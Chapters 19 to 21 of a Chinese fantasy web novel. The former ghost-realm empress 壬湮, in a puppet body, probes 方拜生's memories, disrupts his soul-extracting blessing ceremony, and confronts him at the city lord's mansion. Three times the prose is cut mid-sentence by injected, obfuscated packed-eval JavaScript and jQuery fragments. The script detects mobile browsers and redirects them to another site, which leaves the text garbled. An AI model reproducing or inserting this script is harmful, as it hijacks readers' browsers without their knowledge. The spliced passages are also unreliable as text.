壬湮在虹洞外等来了甲纥战死的消息,可她却没有选择他为自己安排的退路。 回永夜城的路上,壬湮听到心底的那个声音气忿着,怂恿着,“一个半人半魔的孩童,也配和我们争!” 那群老东西看不起女子当魔君,她偏要让他们睁大双眼目送自己登上神座。 只是那个一直疼爱自己的大哥却再也回不来了,他应该也不想再回到鬼域这个地方了。 “小湮,你也觉得我应该当那鬼域魔君吗?” “不,大哥,你应该是九天上的神君。” 若是大哥再问她一次,她一定会这样毫不犹豫地回答,而不是做那万千只将他推向魔君之位手掌中的一个。 “叮铃,叮铃铃。”不属于梦境中的声音响起,壬湮转醒,发现自己还在地洞的房间中,不知何时已经睡在了床塌上。 她已经好多年没有做过梦了,自从发现自己能与魇之右瞳的能力完美融合后,就再也没有做过梦了,没想到今天竟然梦到了大哥甲纥。 看来这人偶之躯比起神魔体确实弱一些,都能被梦魇侵扰。 环顾四下,却不见戚呈。 19. 神女相(十) 醒后不过一刻钟的时间仍未见到戚呈回来,却是等来了方拜生差人来让她过去。 “我?这位姐姐莫不是弄错了,要找的该是神女大人啊!” “错不了,公子找的就是你,莫要耽搁。”前来的侍女言之凿凿,不像有假,何况她确定目前这儿还没有发现她的真实身份。 待壬湮一路跟随侍女来到方拜生的房间时,他坐在桌旁,看上去已等候多时。 “小月姑娘来了。”语气极其和善,透着诡异。 壬湮突然想起来前几天这家伙看自己的奇怪眼神。 肯定有鬼。 “公子。”壬湮微微弯身作揖,未曾先问出口。 方拜生随意挥手,侍女便转身退下,房间中只剩他们二人。 方拜生未曾起身,就这样看着仍在低首的壬湮,直截了当地开口道,“小月姑娘,你想当神女吗?” 这话一出,惊得壬湮不自觉地抬头,这姓方的又是在搞什么幺蛾子,神女是说换就可以换的吗?感情这督使府一大家子都是在陪这位大人玩过家家呢! “公子是在和奴开玩笑吗?夫人才是神女啊!” “本公子没有在和你开玩笑,你比她更适合成为神女,届时,你将拥有无上的荣耀和永生的能力,如何?”方拜生越说情绪越激动,仿佛即将成神的人是他。 如何?他会有这么好的心,助他人成神?到时候享受这份荣耀和永生的人就不知道是谁了,这话骗骗殷莳安那样的无知少女还差不多。 见壬湮未说话,方拜生继续诱骗道,“你的天赋是所有人中最好的,你难道不想成为所有人中最强的吗?现在就有这样的机会,为何不抓住呢?” 壬湮好奇地看向滔滔不绝的方拜生,他明明可以像强迫殷莳安那样强迫自己,为何还要在她面前费这么多口舌。 他这样,应是看上了戚呈为自己做的这副人偶身躯,只是他好像还不明白其中的缘由,他的背后一定还有人在指使他干这一切。 方拜神见眼前的姑娘犹如一根木头般杵在那里,自从离开那地方,自己何时受过这般对待,就算是当时的永昼城城主之女不也是自己几句甜言蜜语就惹得她为自己不顾一切了嘛! 殊不知在方拜生快要忍不下去的时候,壬湮心中却在盘算另一件事情。 流光珠在这里出现过,那他一定见过鲛人族那位出逃的下任新皇了。 四下无人,或许是个好时机。 “怎么样?你……”话未讲完,已经对上一双仿佛能攫取灵魂的双眸。 “哈哈哈,真是个又痴又傻的废物,我们万君山怎么会收你这样的废物呢,别痴心妄想了,赶紧滚远些,别污了这儿的仙气。” 一群身高大约十一二岁的孩童围着一个男孩大声嘲笑着,这些孩童的脸都是模糊不清的,唯有中间的孩童脸上沾满灰泥,看上去应该是被推倒在地的。 男孩一脸倔强,还有一丝深埋眼底的恨意,小小的右手使劲儿将手中的扫帚攥紧。 他应该就是幼时的方拜生了,原来他曾经还在万君山待过。 不过壬湮对他悲惨的幼年时代并不感兴趣,她试图以最快的速度寻找他记忆中鲛人族的身影。 那日,督使府来了一个奇怪的人,那人书生扮相,举止文雅,甚至在壬湮看来已经有些过分有礼了,倒是和甲纥有些相像。 此人博闻强识,借着讲学的名义在督使府呆了十日有余,那时的殷莳安还未像现在一般,却也初见异常。 虽然这人的气质与壬湮见过的鲛人族完全不同,但她的直觉告诉她此人应该就是她在寻找的鲛人族未来的新皇。 “薛先生短短数日便成了邑城和神坑的名人,不知先生接下来做何打算,不如考虑本官的建议长留下来如何?”出声的是方拜生,样子与现在差异不大,只是看上去比现在更有官威一些。 “关于去留的问题,我还是坚持第一日的想法,我以此物做交换,方督使助我复活一人。”那人语气温和,态度却十分坚定,又与甲纥十分不同。 看着他托于左手之上散发着蓝紫色光芒的珠子,壬湮便认出了这就流光珠,只是没想到这鲛人族的少主竟然就这样轻易地用它来与一个只见了十日的凡人做交换。 那想必他想复活的人定然很重要。 反观方拜生盯着珠子却良久未回应,“薛先生如何对本官有这样的信心?” “生死人,永长生之术,毕竟方督使自己也在做,不是吗?”那人缓缓将手掌收回,慢条斯理地抬头与方拜生静静对视,仿佛认定他一定会答应。 方拜生知道眼前这人定是有些本事,又在府上住了多日,不会发现不了自己在干什么,但既然他有求于自己便不会对自己不利。 “好,既然先生信任本官,那本官便试一试。”看得出来方拜生已经做了决定,但还是露出一副很为难的表情思索了几息时间,接着又说,“先生方便先将那人的命格卷告知本官吗?本官也好早做一下准备。” “自然,先生请看。”那人将一张写着生辰八字与命格之类的字条递给了方拜生。 壬湮细看之下竟觉得有些眼熟。 天始四十九年,虽用了凡世历,壬湮却对这个年号有些印象,起初她经常在甲纥带回来的话本上看见,凡世历史上存在时间最久的朝代,552年,那也是凡世最繁盛的时期。 天始四十九年,这是壬湮的生辰八字与命格,应该说是真正的壬湮的! 鲛人族少主想要复活的竟然是鬼域的女帝壬湮! 这确实令壬湮有些震惊,要知道鬼域和鲛人族的仇怨由来已久,可谓是过个几千年就难免会有一场大战。 在鲛人族称霸南洋,还未退居隔天深渊之时,频繁的时候甚至几百年就有战争发生。这样的两域关系,一族的少主怎会想复活另一族的上任帝王呢! 她回忆着自己在与鲛人族大战时是否见过这位少主,仍是没什么印象,那时此人出没出生还两说呢! 壬湮猜他定是别有居心,或许他还有办法将刚复活的壬湮控制住为他所用。 想到这儿,倒是有些后怕,幸好自己是在戚呈的手中复活的,虽然理由是仰慕她,现在也还不确定戚呈就不存在一点利用之心,但好在局面还处于她的可控范围。 不过转念一想,他拿着那张生辰八字估计是很难复活壬湮了,毕竟在六神使以命换命的追神绞杀下,她是真的魂飞魄散了。 而现在的“壬湮”,也就是她自己,真正说来应该是个偷了别人身份的小偷吧! 接过纸条的方拜生明显十分讶异,他居然想复活的是一个七百对年前的人,但还是压下好奇未问出口原因。 回忆的画面跳转,方拜生已经穿上了厚厚的冬衣立于院中与下属谈话,应是过去了月余的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778907|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间。 没有见到那位薛先生的身影,但方拜生的记忆告诉她,他马上就要出现了。 一道强劲的气息逼来,方拜生慌忙闪躲,狼狈地退了数步,还不忘高声喊来他的护卫。 “方拜生,我以诚相待,你竟欺瞒于我!”少年看上去是真的动了怒气,身上读书人的儒雅气息早已卸下,换上了威严凌然的气势,让方拜生生出了在面见皇帝之感,这倒确实有了几分鲛人族少主的感觉。 “先生勿急,先生勿急啊!”方拜生急忙出声解释,但身体却一直躲在侍卫身后,眼神飘忽,防备意味十足。 “这复活之术难度大,怎能操之过急,何况先生想要复活的还是七百年前之人,先生得给本官一点时间啊!” 但眼前气势凌人的男子并为被他说动,而是从袖中捏出几张符纸,上面绘着奇怪狰狞的符文,“那这又做何解释,督使大人?”最后的称谓简直是咬着后槽牙说出来的。 “这……这……本官怎知。”眼神躲闪,心中有鬼。 “督使大人见多识广,竟然连符纸都不识得吗?”见方拜生如此模样,鲛人少年的眼神越发愤怒,紧接着又补充了一句,“哦,这是在你的书房中发现的。” “督使大人还记得向我保证过什么吗?” 方拜生未出声回应。 少年替他回答道,“你说此复活之术绝不用做背德之事!” “而此符咒乃遣阴符,能让你们凡世的鬼怪为施符人所用,恰巧几天前我在你府宅内发现了两个盗名鬼,你又做何解释?” 此时方拜生的心已有些慌乱,自然没有发现少年“你们凡世”的称呼。 “哼,那又如何,薛先生也该知道无论是复活术还是长生术都是逆天之行,怎能不需要付出点代价呢!”方拜生见欺瞒不过,索性承认。 “呵,小人诡辩,不若今天我就帮凡世人做这第一件好事,清除了你这毒害!” 说着少年便手指捻了法诀,欺身而上,与方拜生身前的侍卫斗在了一起。壬湮发现他使出的都是些低级法诀,有意只将这些人打伤而非击杀。 或许在他看来,这些侍卫是无辜的,或是罪不至死。 壬湮属实没想到隔天深渊那善于耍手段的老婆娘的继承人居然是这样一个谦谦君子类的人物,她在鲛人皇的位子上坐了多少年就做了多少缺德事,怪不得这少主要和她对着来呢! 这可有意思了! 然而壬湮还未看到打斗的结果,便听到门外隐约传来一串脚步声,随后是敲门声。 “公子?”是秋莹的声音。 无奈,壬湮只好结束了使用魇之右瞳。 方拜生的眼神好半晌才恢复清明。 “公子,降福仪式已经准备好了。” 方拜生显然还没有回过味来,壬湮趁此说到:“公子刚才的提议,奴应了。” 方拜生凝视了壬湮两秒,才反应过来她答应的是成为新神女的事。 壬湮怕他怀疑,补充了一句,“公子可不要忘了答应奴的事啊!” 眼前人这才露出笑容,刚刚什么诡异的梦都抛诸脑后,催促秋莹赶紧带壬湮下去准备。 走之前壬湮忍不住又回看了方拜生一眼,喜色已经挂上了他的眼角。 啧,这货比齐御还差劲,是个轻易便能控制的人。 所以,他背后应该还有人! 20. 神女相(十一) 降福仪式与壬湮之前看到的两次别无二致,只不过这次的主角变成了壬湮自己。 “叮零”,银铃的声音响起。 底下跪伏着一众女子,壬湮一瞬间仿佛回到了她还是鬼域女帝的时候,万鬼朝拜,那时的场面自然要比现在更壮观。 “开始吧。”是方拜生带着隐隐期待的声音。 壬湮甚至也开始有些期待,她倒要看看这降福仪式里究竟有什么鬼。上次戚呈未能成功,不知方拜生为何对自己如此有把握。 想到戚呈,不知为何他到现在还没回来,不知待会儿失败了自己能否全身而退。 一名身型比其他女人高大些的女子被推至壬湮身前,身形低伏,只留头顶对着壬湮。 奇怪的音符从身后人的嘴中传至壬湮的耳中,这应该就是壬湮第一次未能听清楚的咒语,只是不像东遗现在的语言,更像是不标准的上古语言。 两息过后,一直在等待接下来要发生什么的壬湮这才注意到方拜生和侍女都在注视着自己。 怎的,这手还要她自己手动放上去啊!她可是记得殷莳安和戚呈仿佛都是不受控制的动作,这才反应过来没想到一本正经的戚呈也挺会演啊! 边想着自己的手已经放在了眼前女子的头顶上,发丝柔软的触感从掌心传来,一时间有一丝熟悉感席上心头,壬湮选择忽略。 很快,掌心被另一种感觉代替,丝丝凉凉,这是抽取灵魂!长在鬼域的壬湮不可能不知道这种术法,没想到方拜生竟然知道这种秘术。 随着灵魂冰凉的触感越来越强,熟悉感也越来越强烈。 壬湮后悔了,不是她有多善良,而是她好像已经猜到眼前的“女子”是谁了。 无奈,手已经收不回来了。 “停下!”终究还是决定出口阻止,但方拜生怎么可能听她的呢! 这时眼前人却突然仰起头,眼神中没有预想中的空洞,而是带着痴迷。 是戚呈,是他原来的样貌,果然! 但壬湮的瞳孔还是不由自主地紧缩了一下。 他疯了! 壬湮这样想的,也是这样说出口的,如今也不管周围是什么情况了。 “愿为你付出我的灵魂。”他说的是“为你”,而不是“为神女”,声音中也带着迷恋与疯狂。 壬湮不知该如何形容自己现在的心情,她在女帝时也有很多魔修不管是出于真情还是假意地爱慕着她,但她从未像此刻这般如此强烈地感受到炙热的情感。 以前她可以毫不犹豫地开口拒绝,但现在仿佛患了失语症,莫名烦躁。 “停下!”这一次是对戚呈说的,壬湮相信他听得懂。 “好。”轻轻柔柔,抚平了刚刚的炙热与烦躁感。 话音落地,壬湮瞬间感觉手的掌握权回到了自己这里。 她想也没想直接超身后的方拜生急步走去,现今看来再找机会从他记忆中探寻鲛人族少主已无可能,那就只能再给他添点乱了。 “来人!”方拜生左右只有两个侍女,尽管壬湮现在没有法力,但躲过几个弱女子毫无章法的攻击还是很轻松的。 目标近在眼前,上手一拽,竟轻松获得,方拜生想过她也是来杀自己的,却未曾想她要的竟是这个。 一只银铃。 没一会儿,守在各个关口的侍卫就会过来,戚呈刚刚经历了剥魂之术,必定力不从心,他们需要一场大混乱才能从这里逃出去。 “零零零”,一通乱摇,不得章法。 壬湮只得将目光投向自己正在跑向的戚呈,而戚呈则摇摇头,表示自己是“四好”魔修,从来不会这种下三滥的东西。 壬湮一时间怒从中来,抬手就给了银铃一个与大地亲密接触的机会。 “零零啪”,它碎了,发出了最后的声音。 一片寂静,鸦雀无声。 原本安安静静跪着的女子们先是发出窸窸窣窣的声音,紧接着是更为严重的动乱。 歪打正着。 二人趁机赶紧朝洞口跑去,戚呈这几天已经将地洞内的结构和路线都探查清楚了,所以这次出逃更容易些。 “等……等等我。”身后传来一个气喘吁吁的声音。 壬湮忙里抽空往身后看了一眼,是那个叫秋莹的侍女。 “小月,小月……带上我吧!”壬湮却脚步不停,现下着实是没有空理她。 竟没想到三人居然前后脚顺利地出了地洞,方拜生估计现在已经无暇顾及她们了,清醒过来女子逃出后必定会将他的恶行宣扬出去。 未敢停歇,几人连夜赶回了邑城。 接近与霍仵约定的客栈时,壬湮才发现秋莹竟没有离开的打算。 “你怎么还在这里?”逐客令无疑,壬湮已经自动将她归为被迫为方拜生做事的一类人了。 “小月,不,虽然不知道姑娘如何称呼,但看在我曾帮你隐瞒身份的份儿上,收留我一晚吧!”听了她的一番话,壬湮才知道原来她不是记不住人脸,而是有意帮她。 “为何?难道你不怕我们怀疑你别有居心?万一你是方拜生安排在我们这儿的呢!” 说实话,壬湮并不想多此一举,主要是她不想让其他人发现他们落脚的地方,毕竟她今晚还想睡一个安稳觉。 “不不不,我与巧儿原都是小姐身边的丫鬟,自永昼城时便一直在。只是心儿那丫头刚烈,搭上了自己也未能救出小姐,我便只能隐忍到现在。求求你们,让我见见小姐吧!我把我知道的都告诉你们!” 情真意切,字字掏心,却未能打动壬湮。 奴为主着想,她不理解。 “你怎么确定你们小姐就在我们这儿呢?”一路沉默的戚呈说了逃出来后的第一句话。 壬湮听着恢复清冷的声音,还是忍不住不自在,不由得想起那疯狂而炙热的嗓音。 她赶紧打断自己的思绪,若无其事地看向他处。 “从第一眼发现小月被换之后,奴又暗自观察了一下‘神女’,才大胆猜测小姐可能是已经被你们就出去了。” 说完便看着问问题的戚呈,想他既然能变幻成小姐的模样定然是仙人级别的人物,再不济也是万君山上那样的修仙者,小姐这下有救了,自称就又不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778908|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地换成了“奴”。 “如何?”出来后戚呈第一次与壬湮直接交流,毕竟阻止秋莹的是她,同时他也习惯了让她来做决定。 但壬湮未应。 秋莹瞬间有些惊慌,害怕任然是拒绝,视线转向她,才发现壬湮都没在听,盯着什么出神呢! “姑娘?姑娘?” 壬湮这才回神,发现两人都在等自己的决定,“跟上来吧!”算是应了。 “真是麻烦!”三人迈开脚步,壬湮忍不住嘀咕道。 其实她刚才出神时是在想戚呈或许在图谋她这前任鬼域女皇身上的某些东西,也许是他有推翻赤癸帝的想法,想挟“她”以令魔修;又或许,那炙热的眼神儿,是冲着她仅剩的魇之右瞳而来。 他的目的究竟是什么呢?但她如今的实力又不允许她与他决裂,她今后寻找魇之左瞳还得靠他。 由此可见,真是麻烦! 但跟在身后的秋莹却以为在说她,忍不住红了脸。萍水相逢,确实麻烦人家了,只是这今后可能还要更麻烦一下他们。算了,为了小姐,这脸皮什么的也不不是什么重要的东西了。 而戚呈看着逃出来后一直未搭理自己的壬湮,一直在思考是哪里出了问题。想是应该自己未能扮好她喜欢的温文尔雅的形象,惹得她不喜了,却不曾想壬湮已经在心里把他从头到尾怀疑了个遍。 哎,当魔修苦啊!当爱慕壬湮女帝的魔修心更苦啊! 思绪间,三人已经到了客栈。 房间里只有霍仵和还不太清醒的殷莳安,侯四早已离去。 “哎呀呀,你们终于是回来了,这几天等得我就差打上门去拆了那督使府了!”见二人回来,霍仵不免有些激动。 “最近她情况怎么样了?”看着秋莹抱着她家小姐哭成了泪人儿,霍仵自然知道人壬湮问的是谁。 “回来的第二天就有了神志,只是这几天也不怎么见好转,失神的时间比好的时候要长。我知道这种情况普通大夫根本看不了,我也不敢擅自带她去别的地方,怕你们回来了找不到我们。” 霍仵这几天为了照顾殷莳安也是劳心劳力,虽然他是名异士,但这种情况着实少见。何况他又是个大男人,许多地方都不太方便。 “最近城中可有什么异常吗?”方拜生在第二次降福仪式时就看出了戚呈不是真正的神女,就算他找到了壬湮做新神女,但也一定会有其他的动作,他不会允许一个城主的女儿就此失踪的。 “异常?”霍仵仔细回想了一下,“有,最近有些侍卫样式的人来搜过几次,说是抓贼,他们大人府上丢了很贵重的东西,幸好藏得严实。” “只来过一次吗?”戚呈再次出声道。 “有三次。” 同一个地方没必要反复搜三次,看来他已经锁定这个地方了。 “我们得换个落脚的地方了。” “只是,换哪里能安全呢?” 对啊,这是方拜生的地盘,哪里能安全呢? 壬湮突然想到,神坑是方拜生的地盘,可邑城不是啊! “秋莹,汤弘新这个人可靠吗?” 21. 神女相(十二) 壬湮让秋莹以殷莳安的名义连夜联系了汤弘新。 在秋莹的讲述下,大家才知道原来殷莳安和汤弘新居然是从小一块长大的青梅竹马。 汤弘新是城东汤家的小儿子,汤家与城主府自来交往甚密,二人年纪相仿,自然就成了玩伴。 只是时间推移,二人长大。郎有情妾却无意,殷莳安嫁给了方拜生随他来了神坑。 而汤弘新也不顾家里反对,坚持来路途遥远的邑城赴任,不肯留在永昼城。只是据秋莹所说,汤弘殷自从成为邑城城主之后却鲜少与她家小姐有密交,不像是还有情的样子,所以不知道这次能否答应出手援助。 但壬湮知道他一定会答应,施善会那天汤弘新的眼神出卖了他这么多年的隐忍,他有一瞬间看向“殷莳安”的样子,让壬湮几百年前看过的话本中才子看向佳人的样子有了具象化的画面。 果然,天还没亮就有人上门,自称是城主派来的。 几人趁着街上还没有出市的人,赶紧将殷莳安顺利送到了城主府。 安顿下殷莳安后,汤弘新重新返回议事厅。 厅中是一同而来的壬湮、戚呈、霍仵和秋莹,汤弘新自然没有放心地将秋莹留在殷莳安身边照顾。 “我代莳安感谢诸位的出手相助了,诸位有什么要求尽可以向在下提,在下一定尽力满足。”说着他竟躬身向壬湮他们行了一礼,将身段放到了最低。 一瞬间的寂静。 壬湮坐着未动,她早就习惯于别人的恭敬,此时甚至还因为早起脸上略有不耐。 而霍仵和秋莹却是被一城之主的这一礼吓到了,剩下的戚呈则不知在想什么,神思明显不在当下。 汤弘新未觉尴尬,径自坐回了位子上,事情的来龙去脉他基本上已经了解清楚了。如今方拜生最好是在家中祈祷莳安平安无事,不然他怎么也得让他扒层皮。 “我见过你。”这话是对壬湮说的。 确实,因为上次未被“认出”,她一直未曾变幻成小月的样子,毕竟地洞内“真正的活人”并不多,大家整日提心吊胆,没有人会特意去关心一个侍女的样貌。 所以,他们在施善会上见过,还说过话。 但壬湮一场好觉被他搅乱,怎么也摆不出好脸色对他。 “你就没有发现上次的‘殷莳安’也不是殷莳安吗?” 汤弘新讶然,他确实没注意,这些年为了避嫌,他一字不敢与莳安近距离地说太多话。 “是他!”壬湮坏心思地指向戚呈。 汤弘新更是惊讶,他不是没听闻过易容之术,但那时的莳安居然都不是女子扮的,确实令他更没想到。 本来觉得没什么,毕竟是恩人。关键是好似为了配合壬湮,在他的眼神移向戚呈时,他还冲自己露出一个温和的笑容,汤弘新瞬间觉得不舒服极了,赶紧转移了视线。 壬湮却是心情好了不少。 “那咱们接下来要做什么?”霍仵忍不住问道。 “等。”壬湮一只胳膊支着侧脸,懒洋洋地说道。 “等?等什么?” “自然是等咱们的督使大人!”能感受到汤弘新说这句话时的咬牙切齿。 方拜生果然没有让他们等太久,晌午刚过,下人便通传人已经到了,还带着一众侍卫。 “汤城主,本官今日前来多有冒昧。”声音急切夹杂着怒意,近了才看清方拜生哪还有几天前装出来的读书人的样子。他让侍卫候在门外,自己入了城主府。 “是挺冒昧的。”汤弘新虽说在等他,但见了更是厌恶得很,莳安当初看上他属实瞎了眼。故也未命人给他斟茶,甚至早就命人把其他凳子都撤了,让他只得站着。 被怼的方拜生一时怒起,但也只能忍下,如今先把殷莳安接回去,此事别声张出去才是要紧的。 “呵,汤城主,内人前几日与本官闹了别扭赌气出走,听闻被城主所救,故今日前来一为表谢意,二来是为带内人回去。” 帘后的壬湮几人听着方拜生厚着脸皮扯的谎话,忍不住想送他四个白眼儿。 “方督使,这里没有其他人,何必编这些理由来糊弄我,事实真相是什么样的,我也不比你少知道多少。”汤弘新实在是不想和他兜圈子费口舌。 “今日莳安你是带不走了。” “汤城主,殷莳安是我的夫人,这样住在城主府有些不妥吧?” “原来方督使也知道不妥啊,那请问督使如此对待永昼城城主之女,就没觉得不妥?”怒音一声高于一声,气氛一下子紧张到了临界点。 “方拜生,别以为我不敢动你!” 即使方拜生带来了殷衡给他的卫兵又如何,城主府内他还是有那个能力的。 “汤城主,我们之间何必如此剑拔弩张的呢?我知道你以前也喜欢莳安,你也是为她好,但你要相信我是他丈夫,我也是为她好。”说着声音一顿,似是想到了什么,接着说到,“或许有人和汤城主说过什么,但我与她成婚这么多年,我又怎会害她呢!” 听了他这一番虚伪的话语,汤弘新仿佛一脚踩在狗屎上,既恶心却又不能把狗揪出来踢几脚的感觉。狠话哽在喉咙不上不下,难受得很。 一时间空气又僵持住。 壬湮却觉得进度太慢,忍不住想要帮他们催化一下。 “何必这么虚假呢方公子,你这场谋划难道不是从迎娶殷莳安之前便开始了吗?”壬湮掀帘而出,为接下来的争端点了一把火。戚呈和霍仵也随后跟了出来, “你!小月?你为何在这儿?”方拜生很明显不知晓“小月”为何会“投奔”汤弘新,不过转念一想,也正巧不用他再费心去找了,两人一起带回去更好。 “你竟然那时就有歪心思!”汤弘新明显将壬湮的话听进去了。 “你这小丫头,空口白牙就在这这里编瞎话污蔑本官,可是要吃牢狱之苦的。”方拜生料定壬湮是在编瞎话,误打误撞上了而已。 “既然方公子说我在编瞎话,不如我就继续编一编如何?” “一个万君山的外门弟子,怀揣着成神长生的梦,却因出身遭受同门的欺凌。”说到这里时,方拜生的眼神儿明显变了,这个“小月”竟然连他以前在万君山待过都知道,不得不让他警惕她接下来的话。 “后来这个弟子在万君山未有所成,却得到了一个了……‘神旨’,便离开了万君山,娶了永昼城城主的女儿。”在说“神旨”的时候她犹豫了一下,因为她不确定,也想试探一下方拜生背后是否有这个“人”。 “后来呢?”问题是霍仵问的,而后面的事情其他人心中都有了个大概。 “后来自然是美人到手,魔鬼露出了爪牙,这成神永生之路自然需要美丽的宝石铺垫。是不是,方公子?” 方拜生看向壬湮的眼神儿越来越阴沉,他已经意识到这不是在瞎编这么简单了。 “臭丫头,少在这里信口雌黄,满嘴假话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778909|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他语气急迫地反驳。 “紧张什么,我确实说了假话啊!”忽略掉汤弘新几人无语的表情,壬湮突然又不着急了,起了捉弄人的心思。 方拜生以为她要改口,没想到接下来的话让他的脸更黑了。 “真实情况应该是,你从来都没能成为万君山的弟子吧,你只是山脚下一个洒扫的,连外门弟子都经常欺辱与你,那日子应该不好受吧?” “你怎会知道这些?”方拜生现在的脸色已经难看到了极点,那些难堪的过往突然被人当众揭开。 但他确定自从皇室易姓,老太后去世,北方的几城便很少再有万君山的修士行动了,更不会有人知道他的过去。“难道你是万君山的人?” “呵,据我所知万君山的人应该不至于无聊到针对一个你。”如果说刚才的话只是让方拜生难堪,这句话就是直接戳中了他的痛处。 他一直幻想成神后再次出现在那些“天之骄子”面前,接受他们的仰望,却潜意识忽略掉他们可能从来都没有记住过他这个人。 “我也得到了一个‘神旨’,神指引我来到神坑,说这里有人借着‘神’的名义,行诡龊之事。”说着壬湮已经给自己找了个舒服的位置坐下,这场戏该进入重点环节了。 “放屁,什么人都可以假扮神了,我受到的才是真正的神的指引!”方拜生显然已经气急,连“那人”说过要他一定对她的存在守口如瓶的话都忘了。 这也让壬湮证实了自己的猜想。 “方公子,我也不为难你,也不是来阻止你的。我有我想要的东西,我得到我想要的,自然不会阻止你得到你想要的。” “你想要什么?”有利可换,自然要比起冲突好得多。 “一个消息,给你流光珠的人的去向。” “这你竟也知晓!”他指的是那个人曾给过他流光珠。 壬湮未接他的话,而是在等他的回答。 “这也没什么好保密的,后来我与此人生了分歧,他的具体去向我也不知,只是他曾向我打听过一座城,位于整个东遗大陆最中央的一座城。” “天聚城?”天聚城,东遗大陆最繁华富庶的城池,比永昼城更甚,因其连接八方的地理位置,多受商人偏爱,可谓聚集了大靖朝一半的财富。 “是的,连天聚城都不知道,看上去不像是大靖人,你认识他?”壬湮瞥了方拜生一眼,这小子竟还反问起来了。 “流光珠呢?” “你要干什么?” “放心,我没兴趣抢。” “这……那珠子薛先生没给我,给了殷莳安,我也曾问她讨要,她却诓我说消失了,她想独吞,竟拿这种谎话骗我!”说着说着他又想到了殷莳安,想起了今日来的目的。 “我就知道这么多都如实说了,现在我可以带走殷莳安了吧?” “自然,请便。”壬湮身子往后一偏,让出路来。 可另一个身影却挡住了他的去路。 “汤弘新!你是要不守信用?”方拜生看向壬湮,示意她答应自己的。 壬湮却一耸肩头,“我是答应了,可现在人在汤城主那里啊,我可没那权利管得了一城之主。” “你们!你们耍我!”方拜生双目眦裂,挥手想要手底下的人硬闯,今日这人他必须带走,眼看大业就要成功,怎能在此功亏一篑! “方督使别急,今日你不光带不走莳安,汤某还想请你也留下来做做客呢!”